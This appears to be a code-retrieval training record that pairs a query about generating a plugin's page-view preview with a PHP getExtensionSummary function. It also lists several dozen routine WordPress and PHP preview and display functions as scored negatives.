"public function livePreviewMainScript() {\r\n\t\t?>\r\n\t\t<script>\r\n\t\twindow.tf_refresh_css = function() {\r\n\t\t\tif ( typeof localStorage !== 'undefined' ) {\r\n\r\n\t\t\t\t// Using localStorage directly as an object-value dictionary doesn't work in FF, create a new object\r\n\t\t\t\tvar localStorageData = {}, keys = Object.keys( localStorage );\r\n\t\t\t\tfor ( var i in keys ) {\r\n\t\t\t localStorageData[ keys[ i ] ] = localStorage.getItem( keys[ i ] );\r\n\t\t\t }\r\n\r\n\t\t\t\twp.ajax.send( 'tf_generate_customizer_css', {\r\n\t\t\t\t success: function( data ) {\r\n\r\n\t\t\t\t\t\t// Add the modified CSS Titan has generated from the preview values.\r\n\t\t\t\t\t\tvar style = document.querySelector('style#tf_live_preview');\r\n\t\t\t\t\t\tif ( ! style ) {\r\n\t\t\t\t\t\t\tvar style = document.createElement('STYLE');\r\n\t\t\t\t\t\t\tstyle.setAttribute( 'id', 'tf_live_preview' );\r\n\t\t\t\t\t\t\tstyle.innerHTML = data.css;\r\n\t\t\t\t\t\t\tdocument.head.appendChild( style );\r\n\t\t\t\t\t\t} else {\r\n\t\t\t\t\t\t\tstyle.innerHTML = data.css;\r\n\t\t\t\t\t\t}\r\n\r\n\t\t\t\t\t\t<?php\r\n\t\t\t\t\t\t/**\r\n\t\t\t\t\t\t * Render additional Javascript code for handling different data received for\r\n\t\t\t\t\t\t * live previewing\r\n\t\t\t\t\t\t *\r\n\t\t\t\t\t\t * @since 1.9.2\r\n\t\t\t\t\t\t *\r\n\t\t\t\t\t\t * @see $this->ajaxGenerateCustomizerCSS()\r\n\t\t\t\t\t\t */\r\n\t\t\t\t\t\tdo_action( 'tf_generate_customizer_preview_js' );\r\n\t\t\t\t\t\t?>\r\n\t\t\t\t },\r\n\t\t\t\t\tdata: localStorageData\r\n\t\t\t\t });\r\n\r\n\t\t\t}\r\n\t\t};\r\n\t\t</script>\r\n\t\t<?php\r\n\t}",
"function foxhound_preview() {\n\tif ( isset( $_GET['preview'] ) ) {\n\t\twp_die( __( 'Foxhound requires WordPress 4.9 or higher. Please update your site and try again.', 'foxhound' ) );\n\t}\n}",
"public function live_preview() {\n\n\t\twp_enqueue_script(\n\t\t\t'my_theme_customizer',\n\t\t\tget_template_directory_uri() . '/theme-customizer.js', //path to script goes here\n\t\t\tarray( 'jquery', 'customize-preview' ),\n\t\t\t'',\n\t\t\ttrue\n\t\t);\n\t}",
"function editor(){\n\t\tswitch($this->EditPageNr){\n\t\t\tcase we_base_constants::WE_EDITPAGE_THUMBNAILS:\n\t\t\t\treturn 'we_editors/we_editor_thumbnails.inc.php';\n\n\t\t\tdefault:\n\t\t\t\treturn parent::editor();\n\t\t}\n\t}",
"public function customize_preview_init() {\n\n\t\t$theme_version = wp_get_theme()->get( 'Version' );\n\n\t\twp_enqueue_script( 'wilbur-customize-preview', get_theme_file_uri( '/assets/js/customize-preview.js' ), [ 'customize-preview', 'customize-selective-refresh', 'jquery' ], $theme_version, true );\n\t\twp_localize_script( 'wilbur-customize-preview', 'twentyTwentyBgColors', $this->get_customizer_color_vars() );\n\t\twp_localize_script( 'wilbur-customize-preview', 'twentyTwentyPreviewEls', $this->get_elements_array() );\n\n\t\twp_add_inline_script(\n\t\t\t'wilbur-customize-preview',\n\t\t\tsprintf(\n\t\t\t\t'wp.customize.selectiveRefresh.partialConstructor[ %1$s ].prototype.attrs = %2$s;',\n\t\t\t\twp_json_encode( 'cover_opacity' ),\n\t\t\t\twp_json_encode( wilbur_customize_opacity_range() )\n\t\t\t)\n\t\t);\n\t}",
"public function enableStaticPreview()\n {\n $this->staticPreview = true;\n }",
"function handle_legacy_widget_preview_iframe()\n {\n }",
"private function modifyPreviewModeSettings() {\n\t\t$params = $this->slider->getParams();\n\t\t$params['js_to_body'] = 'false';\n\n\t\t$this->slider->setParams( $params );\n\t}",
"public function buildPreview(){\n\t\t//empty, every column needs to do this on there own.\n\t}",
"function twentynineteen_xili_customize_preview_js() {\n\twp_enqueue_script( 'twentynineteen-xili-customize-preview', get_stylesheet_directory_uri() . '/js/customize-preview.js', array( 'customize-preview' ), '20170824', true );\n\n}",
"function docuemtation_dashboard_widget_function() {\n\t// Display whatever it is you want to show\n\techo 'Make sure you watch the videos in 720p resolution.<br/>\n<a href=\"http://youtu.be/vA3fXuhbmjg\" target=\"_blank\">Welcome and Workflow</a> (1:32)<br/>\n<a href=\"http://youtu.be/1EYJ2xuJOB4\" target=\"_blank\">Resize Images</a> (3:55)<br/>\n<a href=\"http://youtu.be/KVGK5FKm-Ng\" target=\"_blank\">Upload Images to Dropbox</a> (1:10)<br/>\n<a href=\"http://youtu.be/g_XfK9iLv7s\" target=\"_blank\">The Dashboard</a> (3:53)<br/>\n<a href=\"http://youtu.be/ZntfnFEocn8\" target=\"_blank\">Writing and Saving a Draft</a> (6:10)<br/>\n<a href=\"http://youtu.be/vSx0xOQms78\" target=\"_blank\">Changing Post Status</a> (0:34)<br/>\n<a href=\"http://youtu.be/GZvMRQlP-9c\" target=\"_blank\">Upload to and Crop Images on Website</a> (5:46)<br/>\n<a href=\"http://youtu.be/zrBjk92WQB4\" target=\"_blank\">Publish Cat Profile</a> (1:12)<br/>\nCreate a PDF of profile (later, I have to make a few modifications first)';\n}",
"public function print_preview_page() {\n\n\t\t?>\n <div class=\"wrap\">\n <h1><?php echo esc_html( get_admin_page_title() ); ?></h1>\n\t\t\t<?php\n\n\t\t\techo conference_schedule()->get_conference_schedule();\n\n\t\t\t?>\n </div>\n\t\t<?php\n\n\t}",
"function tb_longwave_header_options_callback() {\n\techo '<p>Settings for things visible in the Head of the theme.</p>';\n}",
"public function myvideo_render_main_screen_function() {\n\t\t\\add_action( 'bp_template_content', array( $this, 'bp_myvideo_tab_action' ) );\n\t\t\\bp_core_load_template( \\apply_filters( 'bp_core_template_plugin', 'members/single/plugins' ) );\n\t}",
"public function register_shortcodes(){\n\t\tadd_shortcode('upcoming_post_preview', array($this,'shortcode_display'));\n\t}",
"public function load_live_preview_script() {\n wp_enqueue_script( self::$skin_name . '-live-preview',\n get_template_directory_uri() . '/skins/' . self::$skin_name . '/customize/live-preview.js',\n array('jquery', 'appengine', 'customize-preview', 'ae-theme-customizer'),\n ET_VERSION,\n true\n );\n }",
"public function preview($slug){\n\n echo <<<HTML\n<!doctype html>\n<html lang=\"\">\n <head>\n <meta charset=\"utf-8\">\n </head>\n <body>\nHTML;\n\n $this->embed($slug);\n\n echo <<<HTML\n </body>\n</html>\nHTML;\n\n }",
"function bpfit_walk_subtab_show_screen() {\n\t\t\tadd_action( 'bp_template_title', array($this, 'bpfit_walk_subtab_function_to_show_title') );\n\t\t\tadd_action( 'bp_template_content', array($this, 'bpfit_walk_subtab_function_to_show_content') );\n\t\t\tbp_core_load_template( apply_filters( 'bp_core_template_plugin', 'members/single/plugins' ) );\n\t\t}",
"public static function getPreview() {\n $result = lC_Products_Admin::preview($_GET['pid']);\n $result['rpcStatus'] = RPC_STATUS_SUCCESS;\n\n echo json_encode($result);\n }",
"public function show()\n\t{\n\t\t//\n\t}",
"public function show()\n\t{\n\t\t//\n\t}",
"public function show()\n\t{\n\t\t//\n\t}",
"function wp_one_viewer_run () {\n\n \n $urlsInit = new OneViewerEndPoint();\n $urlsInit->Register_Endpoint();\n\n\t$plugin = new OneViewerCore();\n $plugin->init();\n\n}",
"public function customize_preview_js() {\n wp_enqueue_script('customize-preview', get_theme_file_uri('/js/customize-preview.js'), array('customize-preview'), '1.0', true);\n }",
"public function display() {\r\n self::createUploaderScript();\r\n\r\n $this->echoOptionHeader();\r\n\r\n // Display the preview file name.\r\n $value = $this->getValue();\r\n if ( ! is_array( $value ) ) {\r\n $value = $this->getValue();\r\n }\r\n\r\n $previewFile = '';\r\n if ( ! empty( $value ) ) {\r\n $previewFile = \"<i class='dashicons dashicons-no-alt remove'></i><p>\". basename( get_attached_file( $value ) ) . \"</p>\";\r\n } else {\r\n $previewFile = $this->settings['label'];\r\n }\r\n echo \"<div class='tf-file-upload'>\" . $previewFile . '</div>';\r\n\r\n printf('<input name=\"%s\" placeholder=\"%s\" id=\"%s\" type=\"hidden\" value=\"%s\" />',\r\n $this->getID(),\r\n $this->settings['placeholder'],\r\n $this->getID(),\r\n esc_attr( $this->getValue() )\r\n );\r\n $this->echoOptionFooter();\r\n }",
"public function print_media_templates() {\n if ( ! isset( get_current_screen()->id ) || get_current_screen()->base != 'post' )\n return;\n ?>\n <script type=\"text/html\" id=\"tmpl-editor-boutique-banner\">\n\t\t\t\t<b class=\"wp-svg-{{ data.icon }}\"></b>\n\t\t</script>\n <?php\n }",
"public function getShow()\n {\n echo \"Show TV!!!\";\n }",
"public function previewFormat()\n {\n return implode([$this->_actionDescription(), $this->_releaseName(), $this->notes], \"\\n\\n\");\n }",
"public function show();",
"public function show();",
"public function show();",
"public function show();",
"public function print_media_templates_handler() {\n\n // define backbone template;\n // the \"tmpl-\" prefix is required,\n // and the input field should have a data-setting attribute\n // matching the shortcode name\n $gallery_defaults = self::get_gallery_defaults();\n\n ?>\n <script type=\"text/html\" id=\"tmpl-gallery-layout-setting\">\n <h2 style=\"display: inline-block;\">Torque Custom Settings</h2>\n <label class=\"setting\">\n <span>Torque Gallery Layout</span>\n <select data-setting=\"<?php echo self::$data_setting_slug; ?>\">\n <option value=\"0\">No Custom Layout</option>\n <option value=\"6|4\">6|4</option>\n <option value=\"4|6\">4|6</option>\n <option value=\"10\">10 (Full Width)</option>\n </select>\n </label>\n </script>\n\n <script>\n\n jQuery(document).ready(function(){\n\n // add shortcode attribute and its default value to the\n // gallery settings list;\n //\n // we set some other default values here for the default wordpress gallery atts\n $.extend(wp.media.gallery.defaults, {\n torque_layout: '<?php echo $gallery_defaults[self::$data_setting_slug]; ?>',\n link: '<?php echo $gallery_defaults['link']; ?>',\n size: '<?php echo $gallery_defaults['size']; ?>',\n columns: '<?php echo $gallery_defaults['columns']; ?>'\n });\n\n // merge default gallery settings template with yours\n wp.media.view.Settings.Gallery = wp.media.view.Settings.Gallery.extend({\n template: function(view){\n /*\n if you want to get back the default wordpress settings, use this return\n\n return wp.media.template('gallery-settings')(view)\n + wp.media.template('gallery-layout-setting')(view);\n */\n\n // return our own settings in place of wordpress default\n return wp.media.template('gallery-layout-setting')(view);\n }\n });\n\n });\n\n </script>\n\n <?php\n }",
"private function showDisplay() {\n\t\twp_enqueue_style('pokamodule-settings');\n//\t\twp_enqueue_script('pokamodule-settings');\n\t\t\n\t\trequire_once $this->sPath . '/tpl/template/display.php';\n\t}",
"function video_cck_dailymotion_preview($embed, $width, $height, $field, $item, $autoplay) {\n $output = theme('video_cck_dailymotion_flash', $embed, $width, $height, $autoplay);\n return $output;\n}",
"function smof_preview_init( $wp_customize ) {\n global $smof_data, $smof_details;\n wp_dequeue_style( 'shoestrap_css' );\n wp_deregister_style( 'shoestrap_css' );\n\n $less = shoestrap_compile_css('less');\n print '<link rel=\"stylesheet/less\" type=\"text/less\" href=\"'.str_replace( \".css\", \".less\", shoestrap_css( 'url' ) ).'\">';\n print '<script type=\"text/javascript\">\n less = {\n env: \"development\", // or \"production\"\n async: false, // load imports async\n fileAsync: false, // load imports async when in a page under a file protocol\n poll: 1000, // when in watch mode, time in ms between polls\n functions: {}, // user functions, keyed by name\n dumpLineNumbers: \"comments\", // or \"mediaQuery\" or \"all\"\n relativeUrls: false,// whether to adjust urls to be relative if false, urls are already relative to the entry less file\n rootpath: \"<?php get_template_directory_uri(); ?>/assets/less/\"\n };\n </script>';\n wp_enqueue_script( 'less-js', get_template_directory_uri() . SMOF_DIR . 'addons/assets/js/less-1.3.3.min.js' );\n wp_enqueue_script( 'preview-js', get_template_directory_uri() . SMOF_DIR . 'addons/assets/js/preview.js' );\n wp_localize_script( 'preview-js', 'smofPost', array(\n 'data' => $smof_data,\n 'variables' => $smof_details\n ));\n}",
"public function show()\n\t{\n\t\t\n\t}",
"function display() {\r parent::display();\r }",
"public function getTargetFileName()\n {\n return 'preview_' . parent::getTargetFilename();\n }",
"function responsive_framework_customizer_preview_scripts() {\n\twp_enqueue_script( 'responsi-customize-preview', get_template_directory_uri() . '/admin/customize-preview.js', array( 'customize-preview' ), RESPONSIVE_FRAMEWORK_VERSION, true );\n}",
"public function customize_preview_js() {\n\t\twp_enqueue_script( 'customizer', get_template_directory_uri() . '/js/customizer.js', array( 'customize-preview' ), '1', true );\n\t}",
"function i4web_toolbox($instance){\n \n $toolbox_info = $instance; \n?>\n <p><?php echo $toolbox_info['toolbox_lead_txt'];?></p>\n <ul class=\"sern-toolbox-list\">\n <li><kbd><?php echo $toolbox_info['toolbox_arr1'];?></kbd></li>\n <li><kbd><?php echo $toolbox_info['toolbox_arr2'];?></kbd></li>\n <li><kbd><?php echo $toolbox_info['toolbox_arr3'];?></kbd></li>\n <li><kbd><?php echo $toolbox_info['toolbox_arr4'];?></kbd></li> \n </ul>\n \n \n\t \n<?php }",
"public function display() {\n\n\t\t// Register WP built-in Thickbox for popup.\n\t\tadd_thickbox();\n\n\t\tparent::display();\n\t}"
] | [
"0.7867278",
"0.7494367",
"0.7360417",
"0.7360417",
"0.7360417",
"0.7360417",
"0.7084869",
"0.708366",
"0.7079885",
"0.7000422",
"0.6999513",
"0.69635916",
"0.68842375",
"0.6872659",
"0.6831049",
"0.6821679",
"0.6771087",
"0.6702894",
"0.6693238",
"0.6693238",
"0.66929674",
"0.6669195",
"0.66629833",
"0.6592947",
"0.6575798",
"0.6565317",
"0.65591854",
"0.64698404",
"0.64698404",
"0.64698404",
"0.64698404",
"0.64658904",
"0.6435772",
"0.636052",
"0.63285446",
"0.6310062",
"0.63059145",
"0.6287087",
"0.62801194",
"0.6264164",
"0.6261891",
"0.6252956",
"0.6236444",
"0.62277186",
"0.6223115",
"0.6222417",
"0.6222417",
"0.6188241",
"0.6187496",
"0.616966",
"0.6154707",
"0.61545163",
"0.61460817",
"0.6143595",
"0.6128774",
"0.61236817",
"0.6089553",
"0.608895",
"0.60686237",
"0.60633385",
"0.605021",
"0.60402626",
"0.6038143",
"0.6011917",
"0.59945893",
"0.59545636",
"0.5947407",
"0.5935667",
"0.59268004",
"0.5925077",
"0.5919693",
"0.58979523",
"0.5883147",
"0.5878664",
"0.587161",
"0.584991",
"0.58411646",
"0.5832381",
"0.5832381",
"0.5832381",
"0.58302236",
"0.58177644",
"0.5816561",
"0.58137697",
"0.58100617",
"0.5797827",
"0.5794513",
"0.5794513",
"0.5794513",
"0.5794513",
"0.5787232",
"0.57806015",
"0.5779961",
"0.57790965",
"0.5776609",
"0.5758417",
"0.57564485",
"0.5746322",
"0.5742143",
"0.5737723",
"0.57253474"
] | 0.0 | -1 |
Function called from page view, used to generate preview of this plugin | public function getExtensionSummary($params, &$pObj)
{
if ($params['row']['CType'] === 'list'
&& $params['row']['list_type'] === 'nr_semantic_templates_pi1'
) {
$content = $this->preview($params['row']);
return $content;
}
} | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"public static function live_preview() { }",
"public function inPreview();",
"function post_preview()\n {\n }",
"public function preview()\n {\n }",
"public function preview()\n {\n }",
"public function preview()\n {\n }",
"public function preview()\n {\n }",
"public function settings_previewed()\n {\n }",
"function wp_ajax_imgedit_preview()\n {\n }",
"public function init_preview()\n {\n }",
"public function customize_preview_html5()\n {\n }",
"public function customize_preview_init()\n {\n }",
"public function customize_preview_init()\n {\n }",
"public function export_preview_data()\n {\n }",
"public function export_preview_data()\n {\n }",
"public function export_preview_data()\n {\n }",
"function _show_post_preview()\n {\n }",
"public function customize_preview_settings()\n {\n }",
"public function customize_preview_base()\n {\n }",
"public function livePreview() {\r\n\r\n\t\t$printStart = false;\r\n\t\tforeach ( $this->options as $option ) {\r\n\r\n\t\t\tif ( empty( $option->settings['css'] ) && empty( $option->settings['livepreview'] ) ) {\r\n\t\t\t\tcontinue;\r\n\t\t\t}\r\n\r\n\t\t\t// Print the starting script tag.\r\n\t\t\tif ( ! $printStart ) {\r\n\t\t\t\t$printStart = true;\r\n\t\t\t\t?>\r\n\t\t\t\t<script>\r\n\t\t\t\tjQuery(document).ready(function($) {\r\n\t\t\t\t<?php\r\n\t\t\t}\r\n\r\n\t\t\t?>\r\n\t\t\twp.customize( '<?php echo $option->getID() ?>', function( v ) {\r\n\t\t\t\tv.bind( function( value ) {\r\n\t\t\t\t\t<?php\r\n\r\n\t\t\t\t\tif ( empty( $option->settings['livepreview'] ) ) {\r\n\r\n\t\t\t\t\t\t/**\r\n\t\t\t\t\t\t * If css parameter is given and there is no custom livepreview,\r\n\t\t\t\t\t\t * we can simulate live previewing using just the css parameter.\r\n\t\t\t\t\t\t */\r\n\t\t\t\t\t\t?>\r\n\t\t\t\t\t\tif ( typeof localStorage !== 'undefined' ) {\r\n\t\t\t\t\t\t\tlocalStorage.setItem( '<?php echo $option->getID() ?>', value );\r\n\t\t\t\t\t\t}\r\n\t\t\t\t\t\twindow.tf_refresh_css();\r\n\t\t\t\t\t\t<?php\r\n\r\n\t\t\t\t\t} else {\r\n\r\n\t\t\t\t\t\t/**\r\n\t\t\t\t\t\t * If the livepreview parameter is given, use that. This is the original behavior.\r\n\t\t\t\t\t\t */\r\n\t\t\t\t\t\t// Some options may want to insert custom jQuery code before manipulation of live preview/\r\n\t\t\t\t\t\tif ( ! empty( $option->settings['id'] ) ) {\r\n\t\t\t\t\t\t\tdo_action( 'tf_livepreview_pre_' . $this->owner->optionNamespace, $option->settings['id'], $option->settings['type'], $option );\r\n\t\t\t\t\t\t}\r\n\r\n\t\t\t\t\t\techo $option->settings['livepreview'];\r\n\r\n\t\t\t\t\t\t// Some options may want to insert custom jQuery code after manipulation of live preview.\r\n\t\t\t\t\t\tif ( ! empty( $option->settings['id'] ) ) {\r\n\t\t\t\t\t\t\tdo_action( 'tf_livepreview_post_' . $this->owner->optionNamespace, $option->settings['id'], $option->settings['type'], $option );\r\n\t\t\t\t\t\t}\r\n\t\t\t\t\t}\r\n\r\n\t\t\t\t\t?>\r\n\t\t\t\t} );\r\n\t\t\t} );\r\n\t\t\t<?php\r\n\r\n\t\t}\r\n\r\n\t\t// Print the ending script tag.\r\n\t\tif ( $printStart ) {\r\n\t\t\t?>\r\n\t\t\t});\r\n\t\t\t</script>\r\n\t\t\t<?php\r\n\t\t}\r\n\t}",
"public function getPreview();",
"function preview()\n\t{\n\t\theader(\"Content-type: {$this->mimetype}\");\n\t\t$this->showImage();\n\t}",
"function wp_post_preview_js()\n {\n }",
"function edd_incentives_render_preview() {\n global $post;\n \n echo '<p>';\n echo '<a class=\"button button-primary edd-incentives-colorbox\">' . __( 'Preview Incentive', 'edd-incentives' ) . '</a>';\n echo '<span class=\"description\">' . __( 'Remember to save your changes before previewing this incentive!', 'edd-incentives' ) . '</span>';\n echo '</p>';\n\n echo '<div style=\"display: none;\">';\n echo '<div id=\"edd-incentives-preview\">';\n\n // Display post content\n echo edd_incentives_parse_template_tags( $post->ID );\n\n echo '</div>';\n echo '</div>';\n}",
"public function customize_preview_enqueue()\n {\n }",
"public function get_preview_url()\n {\n }",
"function _set_preview($post)\n {\n }",
"function preview_theme()\n {\n }",
"function page_sitepreview() {\r\n\t\tglobal $admin_lang;\r\n\t\t\r\n\t\t$out = '<h3>' . $admin_lang['sitepreview'].'</h3><hr /><iframe src=\"index.php\" class=\"sitepreview\"></iframe>';\r\n\t\treturn $out;\r\n\t}",
"abstract protected function view_generatePageContent();",
"function editor(){\n\t\tswitch($this->EditPageNr){\n\t\t\tcase we_base_constants::WE_EDITPAGE_THUMBNAILS:\n\t\t\t\treturn 'we_editors/we_editor_thumbnails.inc.php';\n\n\t\t\tdefault:\n\t\t\t\treturn parent::editor();\n\t\t}\n\t}",
"protected function getPreviewModule() {}",
"function printPreview()\n {\n echo '<div class=\"theme_preview\">';\n echo '<h2>' . htmlspecialchars($this->getName())\n .' (' . htmlspecialchars($this->getVersion()) . ')</h2>'\n .'<p>'\n .'<a target=\"_top\" href=\"index.php'\n .PMA_generate_common_url(array('set_theme' => $this->getId())) . '\"'\n .' onclick=\"takeThis(\\'' . addslashes($this->getId()) . '\\');'\n .' return false;\">';\n if (@file_exists($this->getPath() . '/screen.png')) {\n // if screen exists then output\n\n echo '<img src=\"' . $this->getPath() . '/screen.png\" border=\"1\"'\n .' alt=\"' . htmlspecialchars($this->getName()) . '\"'\n .' title=\"' . htmlspecialchars($this->getName()) . '\" /><br />';\n } else {\n echo $GLOBALS['strThemeNoPreviewAvailable'];\n }\n\n echo '[ <strong>' . $GLOBALS['strTakeIt'] . '</strong> ]</a>'\n .'</p>'\n .'</div>';\n }",
"public function enqueue_preview_scripts()\n {\n }",
"public function enqueue_preview_scripts()\n {\n }",
"public function enqueue_preview_scripts()\n {\n }",
"public function enqueue_preview_scripts()\n {\n }",
"public function start_previewing_theme()\n {\n }",
"public function pagePresentation()\r\n\t{\r\n\t\t// Donnees\r\n\t\t$eventId = Bn::getValue('event_id');\r\n\t\t$oEvent = new Oevent($eventId);\r\n\t\t$oEventmeta = new Oeventmeta($eventId);\r\n\r\n\t\t// Controle de l'autorisation\r\n\t\tif ( $oEvent->getVal('ownerid') != Bn::getValue('user_id') && !Oaccount::isLoginAdmin() ) return false;\r\n\r\n\t\t// Preparer les champs de saisie\r\n\t\t$body = new Body();\r\n\r\n\t\t// Titres\r\n\t\t$t = $body->addP('', '', 'bn-title-2');\r\n\t\t$t->addBalise('span', '', LOC_ITEM_PRESENTATION);\r\n\r\n\t\t// Infos generales\r\n\t\t$form = $body->addForm('frmPresentation', BPREF_UPDATE_PRESENTATION, 'divPreferences_content');\r\n\t\t//$form->getForm()->addMetadata('success', \"updated\");\r\n\t\t//$form->getForm()->addMetadata('dataType', \"'json'\");\r\n\r\n\r\n\t\t$dl = $form->addDiv('', 'bn-div-left');\r\n\t\t$edt = $dl->addEditFile('poster', LOC_LABEL_EVENT_POSTER, '');\r\n\t\t$edt->noMandatory();\r\n\t\t$poster = $oEvent->getVal('poster');\r\n\t\tif (!empty($poster) )\r\n\t\t{\r\n\t\t\t$poster = '../img/poster/'.$poster;\r\n\t\t\t$form->addImage('poster', $poster, 'poster', array('height'=>70, 'width'=>155));\r\n\t\t}\r\n\r\n\t\t$d = $form->addDiv('', 'bn-div-line bn-div-clear');\r\n\t\t$handle=opendir('../skins');\r\n\t\twhile ($file = readdir($handle))\r\n\t\t{\r\n\t\t\tif ($file != \".\" && $file != \"..\" && $file != \"CVS\")\r\n\t\t\t$skins[$file] = $file;\r\n\t\t}\r\n\t\tclosedir($handle);\r\n\t\t$cbo = $form->addSelect('skin', LOC_LABEL_EVENT_SKIN);\r\n\t\t$cbo->addOptions($skins, $oEventmeta->getVal('skin'));\r\n\t\t$d->addBreak();\r\n\r\n\t\t$d = $form->addDiv('', 'bn-div-btn');\r\n\t\tif (!empty($poster) )\r\n\t\t{\r\n\t\t\t$d->addButton('btnDelposter', LOC_BTN_DELETE_POSTER, BPREF_DELETE_POSTER, 'trash', 'divPreferences_content');\r\n\t\t}\r\n\t\t$d->addButtonValid('btnValid', LOC_BTN_UPDATE);\r\n\r\n\t\t// Envoi au navigateur\r\n\t\t$body->display();\r\n\t\treturn false;\r\n\t}",
"public function print_preview_page() {\n\n\t\t?>\n <div class=\"wrap\">\n <h1><?php echo esc_html( get_admin_page_title() ); ?></h1>\n\t\t\t<?php\n\n\t\t\techo conference_schedule()->get_conference_schedule();\n\n\t\t\t?>\n </div>\n\t\t<?php\n\n\t}",
"public function customize_preview_signature()\n {\n }",
"public function __viewTemplate()\n {\n $this->_context[2] = 'single';\n $this->addStylesheetToHead(self::$assets_base_url . 'editor.css');\n $this->addStylesheetToHead(self::$assets_base_url . 'highlighters/highlight-xsl.css');\n $this->addScriptToHead(self::$assets_base_url . 'editor.js');\n $this->addScriptToHead(self::$assets_base_url . 'highlighters/highlight-xsl.js');\n $name = $this->_context[1];\n $filename = $name . '.xsl';\n $title = $filename;\n $this->setTitle(__(('%1$s – %2$s – %3$s'), array($title, __('Pages'), __('Symphony'))));\n //$this->setPageType('table');\n $this->Body->setAttribute('spellcheck', 'false');\n $this->appendSubheading($title);\n $breadcrumbs = array(\n Widget::Anchor(__('Pages'), SYMPHONY_URL . '/blueprints/pages/'),\n new XMLElement('span', __(Helpers::capitalizeWords($name)))\n );\n $this->insertBreadcrumbs($breadcrumbs);\n \n $this->insertAction(\n Widget::Anchor(\n __('Edit Page'), \n SYMPHONY_URL . '/blueprints/pages/edit/' . PageManager::fetchIDFromHandle($name) . '/',\n __('Edit Page Configuration'),\n 'button'\n )\n );\n\n $this->Form->setAttribute('class', 'columns');\n $this->Form->setAttribute('action', SYMPHONY_URL . '/blueprints/pages/' . $name . '/');\n\n $fieldset = new XMLElement('fieldset');\n $fieldset->appendChild(Widget::Input('fields[name]', $filename, 'hidden'));\n $fieldset->appendChild($label);\n //$fieldset->appendChild((isset($this->_errors['name']) ? Widget::Error($label, $this->_errors['name']) : $label));\n\n $label = Widget::Label(__('Body'));\n $label->appendChild(\n Widget::Textarea(\n 'fields[body]',\n 30,\n 100,\n $filename ? htmlentities(file_get_contents(WORKSPACE . '/pages/' . $filename), ENT_COMPAT, 'UTF-8') : '',\n array('id' => 'text-area', 'class' => 'code hidden')\n )\n );\n //$fieldset->appendChild((isset($this->_errors['body']) ? Widget::Error($label, $this->_errors['body']) : $label));\n\n $fieldset->appendChild($label);\n $this->Form->appendChild($fieldset);\n\n $this->Form->appendChild(\n new XMLElement(\n 'div',\n new XMLElement('p', __('Saving')),\n array('id' => 'saving-popup')\n )\n );\n //$this->_context = array('edit', 'pages', 'single');\n $this->Form->appendChild(\n new XMLElement(\n 'div',\n Widget::Input(\n 'action[save]',\n __('Save Changes'),\n 'submit',\n array('class' => 'button', 'accesskey' => 's')\n ),\n array('class' => 'actions')\n )\n );\n }",
"public function prePageContent();",
"function learn_press_single_quiz_preview_mode() {\n\t\tlearn_press_get_template( 'content-quiz/preview-mode.php' );\n\t}",
"public function on_page_view(){\n $this->runTemplateSubController();\n // lightbox enabled?\n if( (bool) $this->lightboxEnable ){\n $this->addHeaderItem( $this->getHelper('html')->css('flexry-lightbox.min.css', 'flexry') );\n if( (bool) $this->autoIncludeJsInFooter ){\n $this->addFooterItem( $this->getHelper('html')->javascript('flexry-lightbox.js', 'flexry') );\n }else{\n $this->addHeaderItem( $this->getHelper('html')->javascript('flexry-lightbox.js', 'flexry') );\n }\n }\n // output function to execute deferreds\n $this->addHeaderItem( $this->getHelper('html')->javascript('libs/modernizr.js', 'flexry') );\n $this->addFooterItem('<script type=\"text/javascript\">'.$this->getHelper('file')->getContents(DIR_PACKAGES . '/flexry/' . DIRNAME_BLOCKS . '/flexry_gallery/inline_script.js.txt').'</script>');\n }",
"public function onRun()\n {\n $this->page['visible'] = $this->property('visible');\n $this->page['button'] = $this->property('button');\n }",
"public function preview($args) {\n }",
"public function is_preview()\n {\n }",
"function _preview_theme_template_filter()\n {\n }",
"public function is_preview()\n {\n }",
"public function is_preview()\n {\n }",
"function customize_preview_init($customizer)\n {\n }",
"function plugin_page() {\n\n echo '<div class=\"wrap\">';\n echo '<h2>'.esc_html__( 'WC Sales Notification Settings','wc-sales-notification-pro' ).'</h2>';\n $this->save_message();\n $this->settings_api->show_navigation();\n $this->settings_api->show_forms();\n echo '</div>';\n\n }",
"function bfox_bp_plans_my_plans_screen_view() {\n\tadd_action('bp_template_content', 'bfox_bp_plans_my_plans_screen_view_content');\n\tbfox_bp_core_load_template(apply_filters('bfox_bp_plans_my_plans_screen_template', 'members/single/plugins'));\n}",
"public function jsComposerEditPage() {\n $pt_array = $this->composer->getPostTypes();\n foreach ($pt_array as $pt) {\n add_meta_box( 'wpb_visual_composer', __('Swift Page Builder', \"js_composer\"), Array($this->composer->getLayout(), 'output'), $pt, 'normal', 'high');\n }\n }",
"function editor() {\n\t\tswitch($this->EditPageNr) {\n\t\t\tcase WE_EDITPAGE_THUMBNAILS:\n\t\t\t\treturn \"we_templates/we_editor_thumbnails.inc.php\";\n\n\t\t\tcase WE_EDITPAGE_WEBUSER:\n\t\t\t\treturn \"we_modules/customer/editor_weDocumentCustomerFilter.inc.php\";\n\t\t\tdefault:\n\t\t\t\treturn parent::editor();\n\n\t\t}\n\t}",
"public static function live_preview()\n {\n wp_enqueue_script(\n 'heritage-themecustomizer', \t\t\t\t\t\t\t\t\t\t// Give the script a unique ID\n get_template_directory_uri().'/customizer/js/theme_customizer.js', \t// Define the path to the JS file\n array('jquery', 'customize-preview'),\t\t\t\t \t\t\t\t// Define dependencies\n rand(5, 100), \t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t// Define a version (optional)\n true \t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t// Specify whether to put in footer (leave this true)\n );\n\n wp_localize_script('heritage-themecustomizer', 'heritageCustomizerConfig', get_option( 'lc_customize', array() ));\n\n\n }",
"function pagecreate()\r\n {\r\n $result = parent::pagecreate();\r\n\r\n $result .= $this->_paintJS();\r\n return $result;\r\n }",
